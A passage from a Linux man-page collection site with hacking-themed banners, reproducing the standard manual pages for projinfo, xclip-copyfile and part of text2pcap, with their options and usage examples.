░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1649 - Linux cli command projinfo

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command projinfo and provides detailed information about the command projinfo, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the projinfo.

NAME 🖥️ projinfo 🖥️

Geodetic object and coordinate operation queries

SYNOPSIS

projinfo [-o formats] [-k crs|operation|datum|ensemble|ellipsoid] [–summary] [-q] [[–area name_or_code] | [–bbox west_long,south_lat,east_long,north_lat]] [–spatial-test contains|intersects] [–crs-extent-use none|both|intersection|smallest] [–grid-check none|discard_missing|sort|known_available] [–pivot-crs always|if_no_direct_transformation|never|{auth:code[,auth:code]}] [–show-superseded] [–hide-ballpark] [–accuracy {accuracy}] [–allow-ellipsoidal-height-as-vertical-crs] [–boundcrs-to-wgs84] [–authority name] [–main-db-path path] [–aux-db-path path] [–dump-db-structure] [–identify] [–3d] [–output-id AUTH:CODE] [–c-ify] [–single-line] –searchpaths | –remote-data | –list-crs [list-crs-filter] | –dump-db-structure [{object_definition} | {object_reference}] | {object_definition} | {object_reference} | (-s {srs_def} [–s_epoch {epoch}] -t {srs_def} [–t_epoch {epoch}])

where {object_definition} or {srs_def} is one of the possibilities accepted by proj_create()

  • a proj-string,

  • a WKT string,

  • an object code (like “EPSG:4326”, “urn:ogc:def:crs:EPSG::4326”, “urn:ogc:def:coordinateOperation:EPSG::1671”),

  • an Object name. e.g “WGS 84”, “WGS 84 / UTM zone 31N”. In that case as uniqueness is not guaranteed, heuristics are applied to determine the appropriate best match.

  • a CRS name and a coordinate epoch, separated with ‘@’. For example “[email protected]”. (added in 9.2)

  • a OGC URN combining references for compound coordinate reference systems (e.g “urn:ogc:def:crs,crs:EPSG::2393,crs:EPSG::5717” or custom abbreviated syntax “EPSG:2393+5717”),

  • a OGC URN combining references for references for projected or derived CRSs e.g. for Projected 3D CRS “UTM zone 31N / WGS 84 (3D)”: “urn:ogc:def:crs,crs:EPSG::4979,cs:PROJ::ENh,coordinateOperation:EPSG::16031” (added in 6.2)

  • Extension of OGC URN for CoordinateMetadata. e.g. “urn:ogc:def:CoordinateMetadata:NRCAN::NAD83_CSRS_1997_MTM11_HT2_1997

  • a OGC URN combining references for concatenated operations (e.g. “urn:ogc:def:coordinateOperation,coordinateOperation:EPSG::3895,coordinateOperation:EPSG::1618”)

  • a PROJJSON string. The jsonschema is at https://proj.org/schemas/v0.4/projjson.schema.json (added in 6.2)

  • a compound CRS made from two object names separated with " + “. e.g. “WGS 84 + EGM96 height” (added in 7.1)

{object_reference} is a filename preceded by the ‘@’ character. The file referenced by the {object_reference} must contain a valid {object_definition}.

DESCRIPTION

projinfo is a program that can query information on a geodetic object, coordinate reference system (CRS) or coordinate operation, when the -s and -t options are specified, and display it under different formats (PROJ string, WKT string or PROJJSON string).

It can also be used to query coordinate operations available between two CRS.

The program is named with some reference to the GDAL gdalsrsinfo utility that offers partly similar services.

The following control parameters can appear in any order:

-o formats
formats is a comma separated combination of: all, default, PROJ, WKT_ALL, WKT2:2015, WKT2:2019, WKT1:GDAL, WKT1:ESRI, PROJJSON, SQL.

Except all and default, other formats can be preceded by - to disable them.

NOTE:

WKT2_2019 was previously called WKT2_2018.

NOTE:

Before PROJ 6.3.0, WKT1:GDAL was implicitly calling –boundcrs-to-wgs84. This is no longer the case.

NOTE:

When SQL is specified, –output-id must be specified.

-k crs|operation|datum|ensemble|ellipsoid
When used to query a single object with a AUTHORITY:CODE, determines the (k)ind of the object in case there are CRS, coordinate operations or ellipsoids with the same CODE. The default is crs.

–summary
When listing coordinate operations available between 2 CRS, return the result in a summary format, mentioning only the name of the coordinate operation, its accuracy and its area of use.

NOTE:

only used for coordinate operation computation

-q
Turn on quiet mode. Quiet mode is only available for queries on single objects, and only one output format is selected. In that mode, only the PROJ, WKT or PROJJSON string is displayed, without other introduction output. The output is then potentially compatible of being piped in other utilities.

–area name_or_code
Specify an area of interest to restrict the results when researching coordinate operations between 2 CRS. The area of interest can be specified either as a name (e.g “Denmark - onshore”) or a AUTHORITY:CODE (EPSG:3237) This option is exclusive of –bbox.

NOTE:

only used for coordinate operation computation

–bbox west_long,south_lat,east_long,north_lat
Specify an area of interest to restrict the results when researching coordinate operations between 2 CRS. The area of interest is specified as a bounding box with geographic coordinates, expressed in degrees in a unspecified geographic CRS. west_long and east_long should be in the [-180,180] range, and south_lat and north_lat in the [-90,90]. west_long is generally lower than east_long, except in the case where the area of interest crosses the antimeridian.

NOTE:

only used for coordinate operation computation

–spatial-test contains|intersects
Specify how the area of use of coordinate operations found in the database are compared to the area of use specified explicitly with –area or –bbox, or derived implicitly from the area of use of the source and target CRS. By default, projinfo will only keep coordinate operations whose are of use is strictly within the area of interest (contains strategy). If using the intersects strategy, the spatial test is relaxed, and any coordinate operation whose area of use at least partly intersects the area of interest is listed.

NOTE:

only used for coordinate operation computation

–crs-extent-use none|both|intersection|smallest
Specify which area of interest to consider when no explicit one is specified with –area or –bbox options. By default (smallest strategy), the area of use of the source or target CRS will be looked, and the one that is the smallest one in terms of area will be used as the area of interest. If using none, no area of interest is used. If using both, only coordinate operations that relate (contain or intersect depending of the –spatial-test strategy) to the area of use of both CRS are selected. If using intersection, the area of interest is the intersection of the bounding box of the area of use of the source and target CRS

NOTE:

only used for coordinate operation computation

–grid-check none|discard_missing|sort|known_available
Specify how the presence or absence of a horizontal or vertical shift grid required for a coordinate operation affects the results returned when researching coordinate operations between 2 CRS. The default strategy is sort (if PROJ_NETWORK is not defined). In that case, all candidate operations are returned, but the actual availability of the grids is used to determine the sorting order. That is, if a coordinate operation involves using a grid that is not available in the PROJ resource directories (determined by the PROJ_DATA environment variable), it will be listed in the bottom of the results. The none strategy completely disables the checks of presence of grids and this returns the results as if all the grids where available. The discard_missing strategy discards results that involve grids not present in the PROJ resource directories. The known_available strategy discards results that involve grids not present in the PROJ resource directories and that are not known of the CDN. This is the default strategy is PROJ_NETWORK is set to ON.

NOTE:

only used for coordinate operation computation

–pivot-crs always|if_no_direct_transformation|never|{auth:code[,auth:code]*}
Determine if intermediate (pivot) CRS can be used when researching coordinate operation between 2 CRS. A typical example is the WGS84 pivot. By default, projinfo will consider any potential pivot if there is no direct transformation ( if_no_direct_transformation). If using the never strategy, only direct transformations between the source and target CRS will be used. If using the always strategy, intermediate CRS will be considered even if there are direct transformations. It is also possible to restrict the pivot CRS to consider by specifying one or several CRS by their AUTHORITY:CODE.

NOTE:

only used for coordinate operation computation

–show-superseded
When enabled, coordinate operations that are superseded by others will be listed. Note that supersession is not equivalent to deprecation: superseded operations are still considered valid although they have a better equivalent, whereas deprecated operations have been determined to be erroneous and are not considered at all.

NOTE:

only used for coordinate operation computation

–hide-ballpark
New in version 7.1.

Hides any coordinate operation that is, or contains, a Ballpark transformation

NOTE:

only used for coordinate operation computation

–accuracy {accuracy}
New in version 8.0.

Sets the minimum desired accuracy for returned coordinate operations.

NOTE:

only used for coordinate operation computation

–allow-ellipsoidal-height-as-vertical-crs
New in version 8.0.

Allows exporting a geographic or projected 3D CRS as a compound CRS whose vertical CRS represents the ellipsoidal height.

NOTE:

only used for CRS, and with WKT1:GDAL output format

–boundcrs-to-wgs84
When specified, this option researches a coordinate operation from the base geographic CRS of the single CRS, source or target CRS to the WGS84 geographic CRS, and if found, wraps those CRS into a BoundCRS object. This is mostly to be used for early-binding approaches.

–authority name
Specify the name of the authority into which to restrict looks up for objects, when specifying an object by name or when coordinate operations are computed. The default is to allow all authorities.

When used with SQL output, this restricts the authorities to which intermediate objects can belong to (the default is EPSG and PROJ). Note that the authority of the –output-id option will also be implicitly added.

–main-db-path path
Specify the name and path of the database to be used by projinfo. The default is proj.db in the PROJ resource directories.

–aux-db-path path
Specify the name and path of auxiliary databases, that are to be combined with the main database. Those auxiliary databases must have a table structure that is identical to the main database, but can be partly filled and their entries can refer to entries of the main database. The option may be repeated to specify several auxiliary databases.

–identify
When used with an object definition, this queries the PROJ database to find known objects, typically CRS, that are close or identical to the object. Each candidate object is associated with an approximate likelihood percentage. This is useful when used with a WKT string that lacks a EPSG identifier, such as ESRI WKT1. This might also be used with PROJ strings. For example, +proj=utm +zone=31 +datum=WGS84 +type=crs will be identified with a likelihood of 70% to EPSG:32631

–dump-db-structure
New in version 8.1.

Outputs the sequence of SQL statements to create a new empty valid auxiliary database. This option can be specified as the only switch of the utility. If also specifying a CRS object and the –output-id option, the definition of the object as SQL statements will be appended.

–list-crs [list-crs-filter]
New in version 8.1.

Outputs a list (authority name:code and CRS name) of the filtered CRSs from the database. If no filter is provided all authority names and types of non deprecated CRSs are dumped. list-crs-filter is a comma separated combination of: allow_deprecated,geodetic,geocentric, geographic,geographic_2d,geographic_3d,vertical,projected,compound. Affected by options –authority, –area, –bbox and –spatial-test

A visual alternative is the webpage CRS Explorer .

–3d
New in version 6.3.

“Promote” 2D CRS(s) to their 3D version, where the vertical axis is the ellipsoidal height in metres, using the ellipsoid of the base geodetic CRS. Depending on PROJ versions and the exact nature of the CRS involved, especially before PROJ 9.1, a mix of 2D and 3D CRS could lead to 2D or 3D transformations. Starting with PROJ 9.1, both CRS need to be 3D for vertical transformation to possibly happen.

–output-id=AUTH:NAME
New in version 8.1.

Identifier to assign to the object (for SQL output).

It is strongly recommended that new objects should not be added in common registries, such as EPSG, ESRI, IAU, etc. Users should use a custom authority name instead. If a new object should be added to the official EPSG registry, users are invited to follow the procedure explained at https://epsg.org/dataset-change-requests.html.

Combined with –dump-db-structure, users can create auxiliary databases, instead of directly modifying the main proj.db database. See the example how to export to an auxiliary database.

Those auxiliary databases can be specified through proj_context_set_database_path() or the PROJ_AUX_DB environment variable.

–c-ify
For developers only. Modify the string output of the utility so that it is easy to put those strings in C/C++ code

–single-line
Output PROJ, WKT or PROJJSON strings on a single line, instead of multiple indented lines by default.

–searchpaths
New in version 7.0.

Output the directories into which PROJ resources will be looked for (if not using C API such as proj_context_set_search_paths() that will override them.

–remote-data
New in version 7.0.

Display information regarding if Network capabilities is enabled, and the related URL.

–s_epoch
New in version 9.4.

Epoch of coordinates in the source CRS, as decimal year. Only applies to a dynamic CRS.

–t_epoch
New in version 9.4.

Epoch of coordinates in the target CRS, as decimal year. Only applies to a dynamic CRS.

EXAMPLES

  1. Query the CRS object corresponding to EPSG:4326

projinfo EPSG:4326

Output:

PROJ.4 string: +proj=longlat +datum=WGS84 +no_defs +type=crs

WKT2:2019 string:
GEOGCRS["WGS 84",
    DATUM["World Geodetic System 1984",
        ELLIPSOID["WGS 84",6378137,298.257223563,
            LENGTHUNIT["metre",1]]],
    PRIMEM["Greenwich",0,
        ANGLEUNIT["degree",0.0174532925199433]],
    CS[ellipsoidal,2],
        AXIS["geodetic latitude (Lat)",north,
            ORDER[1],
            ANGLEUNIT["degree",0.0174532925199433]],
        AXIS["geodetic longitude (Lon)",east,
            ORDER[2],
            ANGLEUNIT["degree",0.0174532925199433]],
    USAGE[
        SCOPE["unknown"],
        AREA["World"],
        BBOX[-90,-180,90,180]],
    ID["EPSG",4326]]
  1. List the coordinate operations between NAD27 (designed with its CRS name) and NAD83 (designed with its EPSG code 4269) within an area of interest

projinfo -s NAD27 -t EPSG:4269 –area “USA - Missouri”

Output:

DERIVED_FROM(EPSG):1241, NAD27 to NAD83 (1), 0.15 m, USA - CONUS including EEZ

PROJ string:
+proj=pipeline +step +proj=axisswap +order=2,1 +step +proj=unitconvert \
+xy_in=deg +xy_out=rad +step +proj=hgridshift +grids=conus \
+step +proj=unitconvert +xy_in=rad +xy_out=deg +step +proj=axisswap +order=2,1

WKT2:2019 string:
COORDINATEOPERATION["NAD27 to NAD83 (1)",
    SOURCECRS[
        GEOGCRS["NAD27",
            DATUM["North American Datum 1927",
                ELLIPSOID["Clarke 1866",6378206.4,294.978698213898,
                    LENGTHUNIT["metre",1]]],
            PRIMEM["Greenwich",0,
                ANGLEUNIT["degree",0.0174532925199433]],
            CS[ellipsoidal,2],
                AXIS["geodetic latitude (Lat)",north,
                    ORDER[1],
                    ANGLEUNIT["degree",0.0174532925199433]],
                AXIS["geodetic longitude (Lon)",east,
                    ORDER[2],
                    ANGLEUNIT["degree",0.0174532925199433]]]],
    TARGETCRS[
        GEOGCRS["NAD83",
            DATUM["North American Datum 1983",
                ELLIPSOID["GRS 1980",6378137,298.257222101,
                    LENGTHUNIT["metre",1]]],
            PRIMEM["Greenwich",0,
                ANGLEUNIT["degree",0.0174532925199433]],
            CS[ellipsoidal,2],
                AXIS["geodetic latitude (Lat)",north,
                    ORDER[1],
                    ANGLEUNIT["degree",0.0174532925199433]],
                AXIS["geodetic longitude (Lon)",east,
                    ORDER[2],
                    ANGLEUNIT["degree",0.0174532925199433]]]],
    METHOD["CTABLE2"],
    PARAMETERFILE["Latitude and longitude difference file","conus"],
    OPERATIONACCURACY[0.15],
    USAGE[
        SCOPE["unknown"],
        AREA["USA - CONUS including EEZ"],
        BBOX[23.81,-129.17,49.38,-65.69]],
    ID["DERIVED_FROM(EPSG)",1241]]
  1. Export an object as a PROJJSON string

projinfo GDA94 -o PROJJSON -q

Output:

{ “type”: “GeographicCRS”, “name”: “GDA94”, “datum”: { “type”: “GeodeticReferenceFrame”, “name”: “Geocentric Datum of Australia 1994”, “ellipsoid”: { “name”: “GRS 1980”, “semi_major_axis”: 6378137, “inverse_flattening”: 298.257222101 } }, “coordinate_system”: { “subtype”: “ellipsoidal”, “axis”: [ { “name”: “Geodetic latitude”, “abbreviation”: “Lat”, “direction”: “north”, “unit”: “degree” }, { “name”: “Geodetic longitude”, “abbreviation”: “Lon”, “direction”: “east”, “unit”: “degree” } ] }, “area”: “Australia - GDA”, “bbox”: { “south_latitude”: -60.56, “west_longitude”: 93.41, “north_latitude”: -8.47, “east_longitude”: 173.35 }, “id”: { “authority”: “EPSG”, “code”: 4283 } }

  1. Exporting the SQL statements to insert a new CRS in an auxiliary database.

Get the SQL statements for a custom CRS

projinfo "+proj=merc +lat_ts=5 +datum=WGS84 +type=crs +title=my_crs" --output-id HOBU:MY_CRS -o SQL -q > my_crs.sql
cat my_crs.sql

# Initialize an auxiliary database with the schema of the reference database
echo ".schema" | sqlite3 /path/to/proj.db | sqlite3 aux.db

# Append the content of the definition of HOBU:MY_CRS
sqlite3 aux.db < my_crs.db

# Check that everything works OK
projinfo --aux-db-path aux.db HOBU:MY_CRS

or more simply:

Create an auxiliary database with the definition of a custom CRS.

projinfo "+proj=merc +lat_ts=5 +datum=WGS84 +type=crs +title=my_crs" --output-id HOBU:MY_CRS --dump-db-structure | sqlite3 aux.db

# Check that everything works OK
projinfo --aux-db-path aux.db HOBU:MY_CRS

Output:

INSERT INTO geodetic_crs VALUES(‘HOBU’,‘GEODETIC_CRS_MY_CRS’,‘unknown’,’’,‘geographic 2D’,‘EPSG’,‘6424’,‘EPSG’,‘6326’,NULL,0); INSERT INTO usage VALUES(‘HOBU’,‘USAGE_GEODETIC_CRS_MY_CRS’,‘geodetic_crs’,‘HOBU’,‘GEODETIC_CRS_MY_CRS’,‘PROJ’,‘EXTENT_UNKNOWN’,‘PROJ’,‘SCOPE_UNKNOWN’); INSERT INTO conversion VALUES(‘HOBU’,‘CONVERSION_MY_CRS’,‘unknown’,’’,‘EPSG’,‘9805’,‘Mercator (variant B)’,‘EPSG’,‘8823’,‘Latitude of 1st standard parallel’,5,‘EPSG’,‘9122’,‘EPSG’,‘8802’,‘Longitude of natural origin’,0,‘EPSG’,‘9122’,‘EPSG’,‘8806’,‘False easting’,0,‘EPSG’,‘9001’,‘EPSG’,‘8807’,‘False northing’,0,‘EPSG’,‘9001’,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,0); INSERT INTO usage VALUES(‘HOBU’,‘USAGE_CONVERSION_MY_CRS’,‘conversion’,‘HOBU’,‘CONVERSION_MY_CRS’,‘PROJ’,‘EXTENT_UNKNOWN’,‘PROJ’,‘SCOPE_UNKNOWN’); INSERT INTO projected_crs VALUES(‘HOBU’,‘MY_CRS’,‘my_crs’,’’,‘EPSG’,‘4400’,‘HOBU’,‘GEODETIC_CRS_MY_CRS’,‘HOBU’,‘CONVERSION_MY_CRS’,NULL,0); INSERT INTO usage VALUES(‘HOBU’,‘USAGE_PROJECTED_CRS_MY_CRS’,‘projected_crs’,‘HOBU’,‘MY_CRS’,‘PROJ’,‘EXTENT_UNKNOWN’,‘PROJ’,‘SCOPE_UNKNOWN’);

PROJ.4 string: +proj=merc +lat_ts=5 +lon_0=0 +x_0=0 +y_0=0 +datum=WGS84 +units=m +no_defs +type=crs

WKT2:2019 string:
PROJCRS["my_crs",
    BASEGEOGCRS["unknown",
        ENSEMBLE["World Geodetic System 1984 ensemble",
            MEMBER["World Geodetic System 1984 (Transit)"],
            MEMBER["World Geodetic System 1984 (G730)"],
            MEMBER["World Geodetic System 1984 (G873)"],
            MEMBER["World Geodetic System 1984 (G1150)"],
            MEMBER["World Geodetic System 1984 (G1674)"],
            MEMBER["World Geodetic System 1984 (G1762)"],
            ELLIPSOID["WGS 84",6378137,298.257223563,
                LENGTHUNIT["metre",1]],
            ENSEMBLEACCURACY[2.0]],
        PRIMEM["Greenwich",0,
            ANGLEUNIT["degree",0.0174532925199433]],
        ID["HOBU","GEODETIC_CRS_MY_CRS"]],
    CONVERSION["unknown",
        METHOD["Mercator (variant B)",
            ID["EPSG",9805]],
        PARAMETER["Latitude of 1st standard parallel",5,
            ANGLEUNIT["degree",0.0174532925199433],
            ID["EPSG",8823]],
        PARAMETER["Longitude of natural origin",0,
            ANGLEUNIT["degree",0.0174532925199433],
            ID["EPSG",8802]],
        PARAMETER["False easting",0,
            LENGTHUNIT["metre",1],
            ID["EPSG",8806]],
        PARAMETER["False northing",0,
            LENGTHUNIT["metre",1],
            ID["EPSG",8807]]],
    CS[Cartesian,2],
        AXIS["(E)",east,
            ORDER[1],
            LENGTHUNIT["metre",1]],
        AXIS["(N)",north,
            ORDER[2],
            LENGTHUNIT["metre",1]],
    ID["HOBU","MY_CRS"]]
  1. Get the WKT representation of EPSG:25832 in the WKT1:GDAL output format and on a single line

projinfo -o WKT1:GDAL –single-line EPSG:25832

Output:

WKT1:GDAL string: PROJCS[“ETRS89 / UTM zone 32N”,GEOGCS[“ETRS89”,DATUM[“European_Terrestrial_Reference_System_1989”,SPHEROID[“GRS 1980”,6378137,298.257222101,AUTHORITY[“EPSG”,“7019”]],AUTHORITY[“EPSG”,“6258”]],PRIMEM[“Greenwich”,0,AUTHORITY[“EPSG”,“8901”]],UNIT[“degree”,0.0174532925199433,AUTHORITY[“EPSG”,“9122”]],AUTHORITY[“EPSG”,“4258”]],PROJECTION[“Transverse_Mercator”],PARAMETER[“latitude_of_origin”,0],PARAMETER[“central_meridian”,9],PARAMETER[“scale_factor”,0.9996],PARAMETER[“false_easting”,500000],PARAMETER[“false_northing”,0],UNIT[“metre”,1,AUTHORITY[“EPSG”,“9001”]],AXIS[“Easting”,EAST],AXIS[“Northing”,NORTH],AUTHORITY[“EPSG”,“25832”]]

SEE ALSO

cs2cs(1), cct(1), geod(1), gie(1), proj(1), projsync(1)

BUGS

A list of known bugs can be found at https://github.com/OSGeo/PROJ/issues where new bug reports can be submitted to.

HOME PAGE

https://proj.org/

AUTHOR

Even Rouault

COPYRIGHT

1983-2024, PROJ contributors

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1650 - Linux cli command xclip-copyfile

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xclip-copyfile and provides detailed information about the command xclip-copyfile, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xclip-copyfile.

NAME 🖥️ xclip-copyfile 🖥️

copyfile, xclip-cutfile, xclip-pastefile - copy and move files via the X clipboard

SYNOPSIS

xclip-copyfile [-p] FILES…

xclip-cutfile [-p] FILES…

xclip-pastefile

DESCRIPTION

xclip-copyfile copies files into the X clipboard, recursing into directories.

xclip-cutfile copies the files, but also deletes them afterwards.

-p
preserve path formation

xclip-pastefile pastes the files out of the clipboard

EXAMPLES

Copying a file to a remote host

[maggie.lkpg.cendio.se ~]$ echo "A file created on ${HOSTNAME}" > file1
[maggie.lkpg.cendio.se ~]$ xclip-copyfile file1
[sofie.homeip.net ~/doc]$ xclip-pastefile
file1
[sofie.homeip.net ~/doc]$ cat file1
A file created on maggie.lkpg.cendio.se


Copying an entire tree structure

[sofie.homeip.net ~]$ xclip-copyfile doc
[maggie.lkpg.cendio.se ~/tmp]$ xclip-pastefile
doc/
doc/letter-mom-april.txt
doc/file1
doc/letter-dad-march.txt


Copying files with preserved path information

[maggie.lkpg.cendio.se ~]$ xclip-copyfile -p /etc/sysconfig/grub
tar: Removing leading `/' from member names
[sofie.homeip.net ~/tmp]$ xclip-pastefile
etc/sysconfig/grub
[sofie.homeip.net ~/tmp]$ ls etc/sysconfig/grub
etc/sysconfig/grub


Moving files

[sofie.homeip.net ~]$ ls letter-brother-may.txt
letter-brother-may.txt
[sofie.homeip.net ~]$ xclip-cutfile letter-brother-may.txt
[sofie.homeip.net ~]$ ls letter-brother-may.txt
ls: cannot access letter-brother-may.txt: No such file or directory
[sofie.homeip.net ~]$ cd doc
[sofie.homeip.net ~/doc]$ xclip-pastefile
letter-brother-may.txt

AUTHORS

This manual page was written by Maximilian Gass <[email protected]> for the Debian project. It may be used for everything else, of course.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1651 - Linux cli command text2pcap

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command text2pcap and provides detailed information about the command text2pcap, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the text2pcap.

NAME 🖥️ text2pcap 🖥️

Generate a capture file from an ASCII hexdump of packets

SYNOPSIS

text2pcap-a ] [ -b 2|8|16|64 ] [ -D ] [ -e <l3pid> ] [ -E <encapsulation type> ] [ -F <file format> ] [ -i <proto> ] [ -l <typenum> ] [ -N <intf-name> ] [ -m <max-packet> ] [ -o hex|oct|dec|none ] [ -q ] [ -r <regex> ] [ -s <srcport>,<destport>,<tag> ] [ -S <srcport>,<destport>,<ppi> ] [ -t <timefmt> ] [ -T <srcport>,<destport> ] [ -u <srcport>,<destport> ] [ -4 <srcip>,<destip> ] [ -6 <srcip>,<destip> ] <infile>|- <outfile>|-

text2pcap -h|–help

text2pcap -v|–version

DESCRIPTION

Text2pcap is a program that reads in an ASCII hex dump and writes the data described into a capture file. text2pcap can read hexdumps with multiple packets in them, and build a capture file of multiple packets. Text2pcap is also capable of generating dummy Ethernet, IP, and UDP, TCP or SCTP headers, in order to build fully processable packet dumps from hexdumps of application-level data only.

Text2pcap can write the file in several output formats. The -F flag can be used to specify the format in which to write the capture file, text2pcap -F provides a list of the available output formats. By default, it writes the packets to outfile in the pcapng file format.

Text2pcap understands a hexdump of the form generated by od -Ax -tx1 -v. In other words, each byte is individually displayed, with spaces separating the bytes from each other. Hex digits can be upper or lowercase.

In normal operation, each line must begin with an offset describing the position in the packet, followed a colon, space, or tab separating it from the bytes. There is no limit on the width or number of bytes per line, but lines with only hex bytes without a leading offset are ignored (in other words, line breaks should not be inserted in long lines that wrap.) Offsets are more than two digits; they are in hex by default, but can also be in octal or decimal - see -o. Each packet must begin with offset zero, and an offset zero indicates the beginning of a new packet. Offset values must be correct; an unexpected value causes the current packet to be aborted and the next packet start awaited. There is also a single packet mode with no offsets; see -o.

Packets may be preceded by a direction indicator (I or O) and/or a timestamp if indicated by the command line (see -D and -t). If both are present, the direction indicator precedes the timestamp. The format of the timestamps is specified as a mandatory parameter to -t. If no timestamp is parsed, in the case of the first packet the current system time is used, while subsequent packets are written with timestamps one microsecond later than that of the previous packet.

Other text in the input data is ignored. Any text before the offset is ignored, including email forwarding characters >. Any text on a line after the bytes is ignored, e.g. an ASCII character dump (but see -a to ensure that hex digits in the character dump are ignored). Any line where the first non-whitespace character is a # will be ignored as a comment. Any lines of text between the bytestring lines are considered preamble; the beginning of the preamble is scanned for the direction indicator and timestamp as mentioned above and otherwise ignored.

Any line beginning with #TEXT2PCAP is a directive and options can be inserted after this command to be processed by text2pcap. Currently there are no directives implemented; in the future, these may be used to give more fine grained control on the dump and the way it should be processed e.g. timestamps, encapsulation type etc.

In general, short of these restrictions, text2pcap is pretty liberal about reading in hexdumps and has been tested with a variety of mangled outputs (including being forwarded through email multiple times, with limited line wrap etc.)

Here is a sample dump that text2pcap can recognize, with optional directional indicator and timestamp:

I 2019-05-14T19:04:57Z 000000 00 0e b6 00 00 02 00 0e b6 00 00 01 08 00 45 00 000010 00 28 00 00 00 00 ff 01 37 d1 c0 00 02 01 c0 00 000020 02 02 08 00 a6 2f 00 01 00 01 48 65 6c 6c 6f 20 000030 57 6f 72 6c 64 21 000036

Text2pcap is also capable of scanning a text input file using a custom Perl compatible regular expression that matches a single packet. text2pcap searches the given file (which must end with ) for non-overlapping non-empty strings matching the regex. Named capturing subgroups, which must match exactly once per packet, are used to identify fields to import. The following fields are supported in regex mode, one mandatory and three optional:

“data” Actual captured frame data to import “time” Timestamp of packet “dir” Direction of packet “seqno” Arbitrary ID of packet

The data field is the captured data, which must be in a selected encoding: hexadecimal (the default), octal, binary, or base64 and containing no characters in the data field outside the encoding set besides whitespace. The time field is parsed according to the format in the -t parameter. The first character of the dir field is compared against a set of characters corresponding to inbound and outbound that default to “iI<” for inbound and “oO>” for outbound to assign a direction. The seqno field is assumed to be a positive integer base 10 used for an arbitrary ID. An optional field’s information will only be written if the field is present in the regex and if the capture file format supports it. (E.g., the pcapng format supports all three fields, but the pcap format only supports timestamps.)

Here is a sample dump that the regex mode can process with the regex ^(?<dir>[<>])\s(?<time>\d+:\d\d:\d\d.\d+)\s(?<data>[0-9a-fA-F]+)$ along with timestamp format %H:%M:%S.%f, directional indications of < and >, and hex encoding:

0:00:00.265620 a130368b000000080060 > 0:00:00.280836 a1216c8b00000000000089086b0b82020407 < 0:00:00.295459 a2010800000000000000000800000000 > 0:00:00.296982 a1303c8b00000008007088286b0bc1ffcbf0f9ff > 0:00:00.305644 a121718b0000000000008ba86a0b8008 < 0:00:00.319061 a2010900000000000000001000600000 > 0:00:00.330937 a130428b00000008007589186b0bb9ffd9f0fdfa3eb4295e99f3aaffd2f005 > 0:00:00.356037 a121788b0000000000008a18

The regex is compiled with multiline support, and it is recommended to use the anchors ^ and $ for best results.

